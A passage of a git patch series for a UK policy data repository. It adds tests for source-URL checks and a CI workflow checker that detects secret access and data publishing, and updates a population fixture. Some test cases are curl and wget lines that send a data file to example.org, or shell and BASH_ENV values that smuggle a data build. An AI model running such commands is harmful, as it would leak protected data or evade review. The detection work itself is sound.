+        ("https://obr.uk:notaport/receipts/", False),
+        ("https://-.obr.uk/receipts/", False),
+        ("obr.uk/download/receipts/", False),
+        ("https://[::1/receipts/", False),
+        ("", False),
+    ],
+)
+def test_a_download_page_must_be_https_on_obr_uk(url, ok):
+    assert obr_sources.is_obr_page(url) is ok
+
+
+@settings(max_examples=200, deadline=None)
+@given(
+    labels=st.lists(
+        st.from_regex(r"[a-z0-9](?:[a-z0-9-]{0,7}[a-z0-9])?", fullmatch=True),
+        max_size=3,
+    ),
+    suffix=st.sampled_from(["obr.uk", "uk", "xobr.uk", "obr.uk.example.com", "gov.uk"]),
+    scheme=st.sampled_from(["https", "http"]),
+)
+def test_only_https_pages_on_obr_uk_or_its_subdomains_are_accepted(
+    labels, suffix, scheme
+):
+    host = ".".join([*labels, suffix])
+    expected = scheme == "https" and (host == "obr.uk" or host.endswith(".obr.uk"))
+    assert obr_sources.is_obr_page(f"{scheme}://{host}/download/x/") is expected
+
+
+def test_ingest_refuses_a_download_page_off_obr_uk(tmp_path):
+    urls = {k: f.url for k, f in MANIFEST.files.items()}
+    urls["expenditure"] = "https://example.com/expenditure.xlsx"
+    with pytest.raises(SourceError, match=r"https page .*\(--expenditure-url\)"):
+        _ingest(tmp_path, urls=urls)
+    assert not (tmp_path / "storage").exists()
+
+
+@pytest.mark.parametrize(
+    "heading",
+    [
+        "£ billion",
+        "£bn",
+        "£ billions",
+        "£ billion unless otherwise stated",
+        "Memo: £ billion",
+    ],
+)
+def test_a_sub_heading_restating_the_tables_own_unit_is_not_refused(heading):
+    assert set(obr_sources._TABLE_UNIT_SPELLINGS) == set(obr_sources.UNIT_SCALES)
+    ws = load_workbook("expenditure")["4.19"]
+    row = obr._find_row(ws, "BBC licence fee receipts", max_row=30)
+    values = read_row(ws, row, MANIFEST)
+    ws[f"A{row - 1}"] = heading
+    assert read_row(ws, row, MANIFEST) == values
+
+
+_TIMES = st.datetimes(
+    min_value=datetime(2000, 1, 1),
+    max_value=datetime(2100, 1, 1),
+    timezones=st.sampled_from(
+        [timezone.utc, timezone(timedelta(hours=1)), timezone(-timedelta(hours=9.5))]
+    ),
+)
+
+
+@settings(max_examples=50, deadline=None)
+@given(basis=st.sampled_from(["mtime", "given", "unrecorded"]), when=_TIMES)
+def test_a_manifest_reads_back_as_written(basis, when):
+    """Each download time and its basis survive the manifest YAML."""
+    files = {
+        kind: replace(
+            f,
+            downloaded_at=None if basis == "unrecorded" else when.isoformat(),
+            downloaded_at_basis=basis,
+        )
+        for kind, f in MANIFEST.files.items()
+    }
+    manifest = obr_sources.ObrManifest(**{**MANIFEST.__dict__, "files": files})
+    alternatives = [[sorted(g) for g in groups] for groups in MANIFEST.alternatives]
+    back = parse_manifest(
+        yaml.safe_load(obr_sources._manifest_yaml(manifest, alternatives))
+    )
+    assert back.files == files
+    assert (back.required, back.alternatives) == (
+        MANIFEST.required,
+        MANIFEST.alternatives,
+    )
+
+
+def test_a_dry_run_returns_the_manifest_a_real_ingest_writes(tmp_path):
+    sources = _sources(tmp_path)
+    dry = _ingest(tmp_path / "dry", sources=sources, dry_run=True)
+    real = _ingest(tmp_path / "real", sources=sources)
+    assert dry.manifest.files == real.manifest.files
+    assert {f.downloaded_at_basis for f in real.manifest.files.values()} == {"mtime"}
+
+
+def test_the_march_download_times_are_unrecorded():
+    """The committed workbooks came from git (11e41f9d), with no download time."""
+    assert {
+        (f.downloaded_at, f.downloaded_at_basis) for f in MANIFEST.files.values()
+    } == {(None, "unrecorded")}
+
+
+@pytest.mark.parametrize(
+    "fields, match",
+    [
+        ({"downloaded_at": "2026-10-28T13:05:00+00:00"}, "with a downloaded_at"),
+        (
+            {
+                "downloaded_at": "2026-10-28T13:05:00+00:00",
+                "downloaded_at_basis": "unrecorded",
+            },
+            "must be mtime or given",
+        ),
+        ({"downloaded_at_basis": "mtime"}, "with no downloaded_at it must be"),
+        ({"downloaded_at_basis": None}, "must be unrecorded"),
+        (
+            {
+                "downloaded_at": "2026-10-28T13:05:00+00:00",
+                "downloaded_at_basis": "guessed",
+            },
+            "'guessed'",
+        ),
+    ],
+)
+def test_a_download_time_without_a_matching_basis_is_refused(fields, match):
+    raw = yaml.safe_load(MANIFEST.path.read_text())
+    entry = raw["files"]["receipts"]
+    entry.pop("downloaded_at_basis")
+    entry.update(fields)
+    with pytest.raises(SourceError, match=match):
+        parse_manifest(raw)

From c41f10c269d0148ed84cf7ef94b21abcbcd584f2 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 22:52:13 -0400
Subject: [PATCH 46/76] Recognise secrets in any case and write-all; let the
 versioning job run only its lines (Sol re-review 3 of #603)

- Expressions are case-insensitive, so SECRETS.NAME and Secrets['X'] mark
  a data job; secrets.GITHUB_TOKEN is exempt in any case.
- permissions: write-all grants id-token, so it marks a data job too.
- The versioning job commits its whole workspace, so it may run only its
  three reviewed lines; a bare make, which builds the data, fails.
- curl's combined short flags with any prefix, -K and --config count as
  publishing.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/test_workflow_artifacts.py          | 95 ++++++++++++-------
 1 file changed, 61 insertions(+), 34 deletions(-)

diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py
index 1f8eb424..e026aa84 100644
--- a/policyengine_uk_data/tests/test_workflow_artifacts.py
+++ b/policyengine_uk_data/tests/test_workflow_artifacts.py
@@ -9,16 +9,19 @@
 What the check does:
 
 - A job **can reach the data** when it, or its workflow, mentions
-  ``secrets`` in any form other than ``secrets.GITHUB_TOKEN`` (presumed a
-  data credential whatever it is called), passes secrets on, can request an
-  OIDC token (``id-token: write``), signs in to Google Cloud, or downloads
-  artifacts.
+  ``secrets`` in any form or case other than ``secrets.GITHUB_TOKEN``
+  (presumed a data credential whatever it is called; expressions are
+  case-insensitive), passes secrets on, can request an OIDC token
+  (``id-token: write`` or ``write-all``), signs in to Google Cloud, or
+  downloads artifacts.
 - In such a job, every action must be reviewed for the inputs it is given
   (``REVIEWED_ACTIONS``), so a set-up action can't be pointed at the
-  workspace, and setup-uv must not save its cache (``save-cache: false``). Every artifact upload must name literal files reviewed for that
-  job in ``REVIEWED``: no directories, globs, exclusions or expressions.
-  Every run line that matches ``PUBLISH_COMMAND`` must be, in full, a command
-  reviewed for that job.
+  workspace, and setup-uv must not save its cache (``save-cache: false``).
+  Every artifact upload must name literal files reviewed for that job in
+  ``REVIEWED``: no directories, globs, exclusions or expressions. Every run
+  line that matches ``PUBLISH_COMMAND`` must be, in full, a command reviewed
+  for that job. A job that commits its whole workspace may run only its
+  reviewed lines (``runs_only``).
 - Jobs that can't reach the data (docs, changelog) may publish.
 
 What it does not do (Sol re-review of #603): it recognises reviewed workflow
@@ -45,15 +48,11 @@
 WORKFLOWS = sorted(WORKFLOW_DIR.glob("*.y*ml"))
 
 # Any mention of secrets but this one is presumed to reach the data, in any
-# syntax: secrets.NAME, secrets['NAME'], toJSON(secrets) (Sol re-review 2 of
-# #603).
-NON_DATA_SECRET = "secrets.GITHUB_TOKEN"
+# syntax or case: secrets.NAME, SECRETS.NAME, secrets['NAME'],
+# toJSON(secrets) (Sol re-reviews 2 and 3 of #603).
+_NON_DATA_SECRET = re.compile(r"\bsecrets\.github_token\b", re.IGNORECASE)
+_SECRETS = re.compile(r"\bsecrets\b", re.IGNORECASE)
 DATA_ACTIONS = ("google-github-actions/auth",)
-# Commands that fetch or build the data, which a job publishing its whole
-# workspace must not run.
-DATA_COMMAND = re.compile(
-    r"make (download|data)\b|huggingface|hf_hub|policyengine_uk_data/storage"
-)
 
 # Actions that publish nothing when given only these inputs. setup-uv's
 # cache is on by default on hosted runners and its location can be moved
@@ -95,24 +94,29 @@
         "artifacts": {},
         "commands": (),
         # Commits the version bump. Its secrets are the GitHub app's. It
-        # commits the whole workspace, so it must fetch and build no data
-        # (checked: no run line matches DATA_COMMAND).
+        # commits the whole workspace, so it may run only these lines and
+        # can't fetch or build data (Sol re-review 3 of #603: a bare `make`
+        # builds the data, so command names aren't enough).
         "actions": {
             "EndBug/add-and-commit": {"add": ".", "message": "Update package version"}
         },
-        "no_data_commands": True,
+        "runs_only": (
+            "pip install towncrier",
+            "python .github/bump_version.py",
+            "towncrier build --yes --version $(python -c \"import re; print(re.search(r'version = \\\"(.+?)\\\"', open('pyproject.toml').read()).group(1))\")",
+        ),
     },
 }
 
 PUBLISH_COMMAND = re.compile(
     r"make upload|publish-git-tag|\bgh\s+[a-z]"  # any gh command
     r"|\bgit push\b"
-    r"|\bcurl\b.*(--upload-file|--form|--json|--data|--request\s+(POST|PUT|PATCH)"
-    r"|-X\s*(POST|PUT|PATCH)|\s-[A-Za-z]*[TFd][A-Za-z]*\b)"
+    r"|\bcurl\b.*(--upload-file|--form|--json|--data|--config"
+    r"|--request\s+(POST|PUT|PATCH)|-X\s*(POST|PUT|PATCH)|\s-[^\s-]*[TFdK])"
     r"|\baws s3\b|\bgsutil\b|\bgcloud\b|huggingface-cli|\bhf upload\b|\btwine\b"
 )
 _NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{")
-_EMPTY = {"artifacts": {}, "commands": (), "actions": {}, "no_data_commands": False}
+_EMPTY = {"artifacts": {}, "commands": (), "actions": {}, "runs_only": None}
 
 
 def _jobs(workflow: dict) -> dict:
@@ -126,11 +130,13 @@ def _triggers(workflow: dict) -> dict:
 
 
 def _uses_data_secret(text: str) -> bool:
-    return bool(re.search(r"\bsecrets\b", text.replace(NON_DATA_SECRET, "")))
+    return bool(_SECRETS.search(_NON_DATA_SECRET.sub("", text)))
 
 
 def _requests_oidc(block) -> bool:
     permissions = (block or {}).get("permissions")
+    if isinstance(permissions, str):
+        return permissions.strip().lower() == "write-all"
     return (
         isinstance(permissions, dict)
         and str(permissions.get("id-token", "")).strip('"') == "write"
@@ -243,11 +249,13 @@ def problems(name: str, workflow: dict) -> list:
                 else:
                     out.append(f"{where} uses an unreviewed action: {uses}")
             script = str(step.get("run", ""))
-            if reviewed["no_data_commands"] and DATA_COMMAND.search(script):
-                out.append(
-                    f"{where} publishes its workspace, so it must not fetch or "
-                    "build the data"
-                )
+            if reviewed["runs_only"] is not None:
+                for line in logical_lines(script):
+                    if line not in reviewed["runs_only"]:
+                        out.append(
+                            f"{where} publishes its workspace, so it may run only "
+                            f"its reviewed lines, not {line!r}"
+                        )
             for line in logical_lines(script):
                 if PUBLISH_COMMAND.search(line) and line not in reviewed["commands"]:
                     out.append(
@@ -352,6 +360,10 @@ def test_an_unreviewed_upload_from_a_data_job_fails(path):
         {"run": "curl -sT la_calibration_log.csv https://example.org/"},
         {"run": "curl --form f=@la_calibration_log.csv https://example.org/"},
         {"run": "curl --json @la_calibration_log.csv https://example.org/"},
+        {"run": "curl -#T la_calibration_log.csv https://example.org/"},
+        {"run": "curl -4T la_calibration_log.csv https://example.org/"},
+        {"run": "curl -K upload.cfg https://example.org/"},
+        {"run": "curl --config upload.cfg https://example.org/"},
     ],
 )
 def test_other_routes_out_of_a_data_job_fail(step):
@@ -424,7 +436,10 @@ def test_a_workflow_level_credential_makes_every_job_a_data_job():
         {"env": {"GH_TOKEN": "${{ secrets.ANY_NAME }}"}, "steps": []},
         {"env": {"HF": "${{ secrets['HUGGING_FACE_TOKEN'] }}"}, "steps": []},
         {"env": {"ALL": "${{ toJSON(secrets) }}"}, "steps": []},
+        {"env": {"HF": "${{ SECRETS.HUGGING_FACE_TOKEN }}"}, "steps": []},
+        {"env": {"HF": "${{ Secrets['X'] }}"}, "steps": []},
         {"permissions": {"id-token": "write"}, "steps": []},
+        {"permissions": "write-all", "steps": []},
         {"uses": "org/repo/.github/workflows/build.yaml@main", "secrets": "inherit"},
         {"steps": [{"uses": "google-github-actions/auth@v3"}]},
         {"steps": [{"uses": "actions/download-artifact@v8"}]},
@@ -440,6 +455,9 @@ def test_a_job_with_only_the_github_token_is_not_a_data_job():
     assert not reaches_data(job)
     job = {"env": {"GH_TOKEN": "${{ secrets.GITHUB_TOKEN }}"}, "steps": []}
     assert not reaches_data(job)
+    job = {"env": {"GH_TOKEN": "${{ SECRETS.github_token }}"}, "steps": []}
+    assert not reaches_data(job)
+    assert not reaches_data({"permissions": "read-all", "steps": []})
 
 
 def test_a_reusable_workflow_in_a_data_job_fails():
@@ -511,10 +529,19 @@ def test_a_workflow_level_oidc_permission_makes_a_data_job():
     assert reaches_data(workflow["jobs"]["a"], workflow)
 
 
-def test_the_versioning_commit_may_not_follow_a_data_build():
-    """Sol re-review 2 of #603, finding 3: it commits the whole workspace."""
+@pytest.mark.parametrize(
+    "line",
+    [
+        "uv run make data",
+        "uv run make",
+        "make all",
+        "python policyengine_uk_data/datasets/create_datasets.py",
+        "echo hi",
+    ],
+)
+def test_the_versioning_commit_job_runs_only_its_reviewed_lines(line):
+    """Sol re-reviews 2 and 3 of #603: it commits the whole workspace, and a
+    bare `make` builds the data, so only its reviewed lines may run."""
     data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml"))
-    _jobs(data)["Versioning"]["steps"].insert(1, {"run": "uv run make data"})
-    assert any(
-        "must not fetch or build" in p for p in problems("versioning.yaml", data)
-    )
+    _jobs(data)["Versioning"]["steps"].insert(1, {"run": line})
+    assert any("reviewed lines" in p for p in problems("versioning.yaml", data))

From 79ffd76765442ae1d7391c75de669372e8c2f636 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 22:58:12 -0400
Subject: [PATCH 47/76] Don't let a shell or environment change what the
 versioning job runs (Sol re-review 4 of #603)

A job that commits its whole workspace may not set a step shell or env, or
a job or workflow env, defaults or container: BASH_ENV or a custom shell
could run a data build around a reviewed line. Also: curl -H/--url-query
@file and wget --post-file count as publishing, and edits inside the
reviewed script are tested.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/test_workflow_artifacts.py          | 79 ++++++++++++++++++-
 1 file changed, 78 insertions(+), 1 deletion(-)

diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py
index e026aa84..b1343d99 100644
--- a/policyengine_uk_data/tests/test_workflow_artifacts.py
+++ b/policyengine_uk_data/tests/test_workflow_artifacts.py
@@ -21,7 +21,8 @@
   ``REVIEWED``: no directories, globs, exclusions or expressions. Every run
   line that matches ``PUBLISH_COMMAND`` must be, in full, a command reviewed
   for that job. A job that commits its whole workspace may run only its
-  reviewed lines (``runs_only``).
+  reviewed lines (``runs_only``), with no ``shell``, ``env``, ``defaults`` or
+  ``container`` that could change what those lines run.
 - Jobs that can't reach the data (docs, changelog) may publish.
 
 What it does not do (Sol re-review of #603): it recognises reviewed workflow
@@ -113,6 +114,7 @@
     r"|\bgit push\b"
     r"|\bcurl\b.*(--upload-file|--form|--json|--data|--config"
     r"|--request\s+(POST|PUT|PATCH)|-X\s*(POST|PUT|PATCH)|\s-[^\s-]*[TFdK])"
+    r"|\bcurl\b.*(-H|--header|--url-query)\s*@|\bwget\b.*--(post|body)-(file|data)"
     r"|\baws s3\b|\bgsutil\b|\bgcloud\b|huggingface-cli|\bhf upload\b|\btwine\b"
 )
 _NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{")
@@ -200,6 +202,18 @@ def problems(name: str, workflow: dict) -> list:
         reviewed = {**_EMPTY, **REVIEWED.get((name, job_id), {})}
         if "uses" in job:
             out.append(f"{where} calls a reusable workflow ({job['uses']})")
+        if reviewed["runs_only"] is not None:
+            for key, block in (("env", job), ("defaults", job), ("container", job)):
+                if key in block:
+                    out.append(
+                        f"{where} publishes its workspace, so it may not set {key}"
+                    )
+            for key in ("env", "defaults"):
+                if workflow.get(key):
+                    out.append(
+                        f"{where} publishes its workspace, so its workflow may not "
+                        f"set {key}"
+                    )
         earlier = []  # run steps before the current one, comments removed
         for step in job.get("steps", []):
             uses = str(step.get("uses", ""))
@@ -250,6 +264,14 @@ def problems(name: str, workflow: dict) -> list:
                     out.append(f"{where} uses an unreviewed action: {uses}")
             script = str(step.get("run", ""))
             if reviewed["runs_only"] is not None:
+                # A shell or environment could run something else around a
+                # reviewed line (BASH_ENV, a custom shell) (Sol re-review 4).
+                for key in ("shell", "env"):
+                    if key in step:
+                        out.append(
+                            f"{where} publishes its workspace, so its steps may "
+                            f"not set {key}"
+                        )
                 for line in logical_lines(script):
                     if line not in reviewed["runs_only"]:
                         out.append(
@@ -364,6 +386,9 @@ def test_an_unreviewed_upload_from_a_data_job_fails(path):
         {"run": "curl -4T la_calibration_log.csv https://example.org/"},
         {"run": "curl -K upload.cfg https://example.org/"},
         {"run": "curl --config upload.cfg https://example.org/"},
+        {"run": "curl -H @la_calibration_log.csv https://example.org/"},
+        {"run": "curl --url-query @la_calibration_log.csv https://example.org/"},
+        {"run": "wget --post-file=la_calibration_log.csv https://example.org/"},
     ],
 )
 def test_other_routes_out_of_a_data_job_fail(step):
@@ -545,3 +570,55 @@ def test_the_versioning_commit_job_runs_only_its_reviewed_lines(line):
     data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml"))
     _jobs(data)["Versioning"]["steps"].insert(1, {"run": line})
     assert any("reviewed lines" in p for p in problems("versioning.yaml", data))
+
+
+@pytest.mark.parametrize(
+    "change",
+    [
+        ("step", "shell", "bash -c 'uv run make data; exec bash \"$0\"' {0}"),
+        ("step", "env", {"BASH_ENV": "$(uv run make data >&2)"}),
+        ("job", "env", {"BASH_ENV": "/tmp/x"}),
+        ("job", "defaults", {"run": {"shell": "bash -c 'make data'"}}),
+        ("job", "container", "python:3.13"),
+        ("workflow", "defaults", {"run": {"shell": "bash -c 'make data'"}}),
+        ("workflow", "env", {"BASH_ENV": "/tmp/x"}),
+    ],
+)
+def test_the_versioning_job_cannot_change_how_its_lines_run(change):
+    """Sol re-review 4 of #603: a shell or environment runs around a line."""
+    where, key, value = change
+    data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml"))
+    job = _jobs(data)["Versioning"]
+    if where == "step":
+        step = next(s for s in job["steps"] if s.get("run") == "pip install towncrier")
+        step[key] = value
+    elif where == "job":
+        job[key] = value
+    else:
+        data[key] = value
+    assert any(
+        "publishes its workspace" in p for p in problems("versioning.yaml", data)
+    )
+
+
+@pytest.mark.parametrize(
+    "edit",
+    [
+        lambda script: script.replace(
+            "python .github/bump_version.py",
+            "python .github/bump_version.py \\\n  && uv run make data",
+        ),
+        lambda script: script + "\nuv run make data",
+    ],
+)
+def test_editing_the_reviewed_script_itself_fails(edit):
+    """Sol re-review 4 of #603, nit 3: continuations and extra lines inside the
+    reviewed script are caught too."""
+    data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml"))
+    step = next(
+        s
+        for s in _jobs(data)["Versioning"]["steps"]
+        if "bump_version" in str(s.get("run", ""))
+    )
+    step["run"] = edit(step["run"])
+    assert any("reviewed lines" in p for p in problems("versioning.yaml", data))

From e9fff875e38f0059d2226424b5dffaf87fab837f Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 23:00:46 -0400
Subject: [PATCH 48/76] Block a step working-directory and more curl header
 spellings (Sol re-review 5 nits)

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/test_workflow_artifacts.py                | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py
index b1343d99..e0fda033 100644
--- a/policyengine_uk_data/tests/test_workflow_artifacts.py
+++ b/policyengine_uk_data/tests/test_workflow_artifacts.py
@@ -21,8 +21,9 @@
   ``REVIEWED``: no directories, globs, exclusions or expressions. Every run
   line that matches ``PUBLISH_COMMAND`` must be, in full, a command reviewed
   for that job. A job that commits its whole workspace may run only its
-  reviewed lines (``runs_only``), with no ``shell``, ``env``, ``defaults`` or
-  ``container`` that could change what those lines run.
+  reviewed lines (``runs_only``), with no ``shell``, ``env``,
+  ``working-directory``, ``defaults`` or ``container`` that could change what
+  those lines run.
 - Jobs that can't reach the data (docs, changelog) may publish.
 
 What it does not do (Sol re-review of #603): it recognises reviewed workflow
@@ -114,7 +115,7 @@
     r"|\bgit push\b"
     r"|\bcurl\b.*(--upload-file|--form|--json|--data|--config"
     r"|--request\s+(POST|PUT|PATCH)|-X\s*(POST|PUT|PATCH)|\s-[^\s-]*[TFdK])"
-    r"|\bcurl\b.*(-H|--header|--url-query)\s*@|\bwget\b.*--(post|body)-(file|data)"
+    r"|\bcurl\b.*(\s-[^\s-]*H|--header|--url-query)[\s=]*[\"']?@|\bwget\b.*--(post|body)-(file|data)"
     r"|\baws s3\b|\bgsutil\b|\bgcloud\b|huggingface-cli|\bhf upload\b|\btwine\b"
 )
 _NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{")
@@ -266,7 +267,7 @@ def problems(name: str, workflow: dict) -> list:
             if reviewed["runs_only"] is not None:
                 # A shell or environment could run something else around a
                 # reviewed line (BASH_ENV, a custom shell) (Sol re-review 4).
-                for key in ("shell", "env"):
+                for key in ("shell", "env", "working-directory"):
                     if key in step:
                         out.append(
                             f"{where} publishes its workspace, so its steps may "
@@ -387,6 +388,9 @@ def test_an_unreviewed_upload_from_a_data_job_fails(path):
         {"run": "curl -K upload.cfg https://example.org/"},
         {"run": "curl --config upload.cfg https://example.org/"},
         {"run": "curl -H @la_calibration_log.csv https://example.org/"},
+        {"run": 'curl -H "@la_calibration_log.csv" https://example.org/'},
+        {"run": "curl --header=@la_calibration_log.csv https://example.org/"},
+        {"run": "curl -sH @la_calibration_log.csv https://example.org/"},
         {"run": "curl --url-query @la_calibration_log.csv https://example.org/"},
         {"run": "wget --post-file=la_calibration_log.csv https://example.org/"},
     ],
@@ -577,6 +581,7 @@ def test_the_versioning_commit_job_runs_only_its_reviewed_lines(line):
     [
         ("step", "shell", "bash -c 'uv run make data; exec bash \"$0\"' {0}"),
         ("step", "env", {"BASH_ENV": "$(uv run make data >&2)"}),
+        ("step", "working-directory", "tools"),
         ("job", "env", {"BASH_ENV": "/tmp/x"}),
         ("job", "defaults", {"run": {"shell": "bash -c 'make data'"}}),
         ("job", "container", "python:3.13"),

From 29ca75420b885ba7cd0ee3819817a974841a5a99 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 23:10:08 -0400
Subject: [PATCH 49/76] Fix national age-band tests for open-ended 80+ targets

---
 .../targets/sources/ons_demographics.py       |   8 +-
 .../tests/fixtures/ons_uk_population_2025.csv | 430 +++++++++---------
 .../tests/test_national_age_bands.py          |  32 +-
 3 files changed, 241 insertions(+), 229 deletions(-)

diff --git a/policyengine_uk_data/targets/sources/ons_demographics.py b/policyengine_uk_data/targets/sources/ons_demographics.py
index 04a1463f..a40a0a4d 100644
--- a/policyengine_uk_data/targets/sources/ons_demographics.py
+++ b/policyengine_uk_data/targets/sources/ons_demographics.py
@@ -68,9 +68,11 @@
 # the band totals, leaving the age composition *within* a band unconstrained
 # nationally: the calibration could satisfy 15-29 while starving 18-24, which
 # is what collapsed the modelled young-adult population to ~3.4M against ONS's
-# ~5.4M. Regional targets already use finer bands, but they do not constrain
-# the national weights. The ONS projection is published by single year of age,
-# so this is a change of aggregation only - no new source data.
+# ~5.4M. Regional ten-year bands also constrain the shared household weights,
+# including summed local weights in dense local calibration, but provide less
+# age resolution than these five-year sex bands. The ONS projection is published
+# by single year of age, so this is a change of aggregation only - no new source
+# data.
 _GENDER_BANDS = [
     (0, 4),
     (5, 9),
diff --git a/policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv b/policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv
index 585b1c84..911aae4f 100644
--- a/policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv
+++ b/policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv
@@ -1,215 +1,215 @@
-Sex,Age,2025
-Females,0,317686
-Females,1,327935
-Females,2,338279
-Females,3,358658
-Females,4,356258
-Females,5,369761
-Females,6,376378
-Females,7,381376
-Females,8,390185
-Females,9,400480
-Females,10,397930
-Females,11,399560
-Females,12,408413
-Females,13,418244
-Females,14,417732
-Females,15,413729
-Females,16,410318
-Females,17,414288
-Females,18,399447
-Females,19,398620
-Females,20,406477
-Females,21,404249
-Females,22,401940
-Females,23,408447
-Females,24,412365
-Females,25,422024
-Females,26,444655
-Females,27,458010
-Females,28,469985
-Females,29,463354
-Females,30,470982
-Females,31,484020
-Females,32,486083
-Females,33,498400
-Females,34,504074
-Females,35,503593
-Females,36,500871
-Females,37,507256
-Females,38,496049
-Females,39,489353
-Females,40,485837
-Females,41,469975
-Females,42,469221
-Females,43,463843
-Females,44,467338
-Females,45,465639
-Females,46,444476
-Females,47,412021
-Females,48,402609
-Females,49,410811
-Females,50,417510
-Females,51,422475
-Females,52,438299
-Females,53,454957
-Females,54,473232
-Females,55,460650
-Females,56,470719
-Females,57,469471
-Females,58,470280
-Females,59,469617
-Females,60,471064
-Females,61,464261
-Females,62,452458
-Females,63,439638
-Females,64,421487
-Females,65,403839
-Females,66,393032
-Females,67,380880
-Females,68,364266
-Females,69,348875
-Females,70,334931
-Females,71,333201
-Females,72,324950
-Females,73,313788
-Females,74,312458
-Females,75,314249
-Females,76,317096
-Females,77,330339
-Females,78,350379
-Females,79,263767
-Females,80,249905
-Females,81,242088
-Females,82,219106
-Females,83,189777
-Females,84,163167
-Females,85,161170
-Females,86,150872
-Females,87,137597
-Females,88,121030
-Females,89,105738
-Females,90,90358
-Females,91,73607
-Females,92,61708
-Females,93,51510
-Females,94,41269
-Females,95,32160
-Females,96,23665
-Females,97,16907
-Females,98,11918
-Females,99,8188
-Females,100,5349
-Females,101,3385
-Females,102,2064
-Females,103,1211
-Females,104,677
-Females,105 - 109,546
-Females,110 and over,6
-Males,0,333572
-Males,1,344421
-Males,2,356607
-Males,3,376143
-Males,4,373747
-Males,5,386967
-Males,6,395428
-Males,7,399866
-Males,8,409003
-Males,9,420639
-Males,10,417531
-Males,11,418996
-Males,12,428612
-Males,13,438674
-Males,14,439496
-Males,15,433546
-Males,16,431615
-Males,17,436434
-Males,18,425336
-Males,19,422999
-Males,20,430550
-Males,21,430470
-Males,22,426240
-Males,23,423436
-Males,24,426041
-Males,25,435235
-Males,26,447885
-Males,27,452338
-Males,28,459538
-Males,29,451896
-Males,30,454060
-Males,31,462487
-Males,32,460659
-Males,33,470586
-Males,34,476185
-Males,35,473059
-Males,36,467528
-Males,37,469878
-Males,38,458073
-Males,39,457277
-Males,40,454111
-Males,41,439326
-Males,42,438740
-Males,43,436382
-Males,44,439505
-Males,45,441201
-Males,46,423905
-Males,47,393520
-Males,48,386917
-Males,49,395093
-Males,50,402512
-Males,51,406800
-Males,52,422253
-Males,53,436908
-Males,54,450989
-Males,55,439963
-Males,56,449773
-Males,57,447985
-Males,58,451039
-Males,59,446161
-Males,60,447763
-Males,61,440594
-Males,62,429773
-Males,63,418061
-Males,64,402529
-Males,65,384785
-Males,66,372436
-Males,67,360028
-Males,68,341388
-Males,69,326411
-Males,70,309308
-Males,71,305067
-Males,72,296642
-Males,73,281653
-Males,74,279520
-Males,75,277095
-Males,76,279193
-Males,77,286999
-Males,78,302900
-Males,79,223985
-Males,80,208431
-Males,81,199761
-Males,82,175241
-Males,83,147423
-Males,84,122567
-Males,85,118037
-Males,86,107840
-Males,87,95378
-Males,88,80913
-Males,89,67392
-Males,90,55358
-Males,91,43439
-Males,92,34474
-Males,93,26990
-Males,94,20167
-Males,95,14236
-Males,96,9666
-Males,97,6400
-Males,98,4165
-Males,99,2573
-Males,100,1535
-Males,101,844
-Males,102,456
-Males,103,227
-Males,104,109
-Males,105 - 109,73
-Males,110 and over,0
+Sex,Age,2025
+Females,0,317686
+Females,1,327935
+Females,2,338279
+Females,3,358658
+Females,4,356258
+Females,5,369761
+Females,6,376378
+Females,7,381376
+Females,8,390185
+Females,9,400480
+Females,10,397930
+Females,11,399560
+Females,12,408413
+Females,13,418244
+Females,14,417732
+Females,15,413729
+Females,16,410318
+Females,17,414288
+Females,18,399447
+Females,19,398620
+Females,20,406477
+Females,21,404249
+Females,22,401940
+Females,23,408447
+Females,24,412365
+Females,25,422024
+Females,26,444655
+Females,27,458010
+Females,28,469985
+Females,29,463354
+Females,30,470982
+Females,31,484020
+Females,32,486083
+Females,33,498400
+Females,34,504074
+Females,35,503593
+Females,36,500871
+Females,37,507256
+Females,38,496049
+Females,39,489353
+Females,40,485837
+Females,41,469975
+Females,42,469221
+Females,43,463843
+Females,44,467338
+Females,45,465639
+Females,46,444476
+Females,47,412021
+Females,48,402609
+Females,49,410811
+Females,50,417510
+Females,51,422475
+Females,52,438299
+Females,53,454957
+Females,54,473232
+Females,55,460650
+Females,56,470719
+Females,57,469471
+Females,58,470280
+Females,59,469617
+Females,60,471064
+Females,61,464261
+Females,62,452458
+Females,63,439638
+Females,64,421487
+Females,65,403839
+Females,66,393032
+Females,67,380880
+Females,68,364266
+Females,69,348875
+Females,70,334931
+Females,71,333201
+Females,72,324950
+Females,73,313788
+Females,74,312458
+Females,75,314249
+Females,76,317096
+Females,77,330339
+Females,78,350379
+Females,79,263767
+Females,80,249905
+Females,81,242088
+Females,82,219106
+Females,83,189777
+Females,84,163167
+Females,85,161170
+Females,86,150872
+Females,87,137597
+Females,88,121030
+Females,89,105738
+Females,90,90358
+Females,91,73607
+Females,92,61708
+Females,93,51510
+Females,94,41269
+Females,95,32160
+Females,96,23665
+Females,97,16907
+Females,98,11918
+Females,99,8188
+Females,100,5349
+Females,101,3385
+Females,102,2064
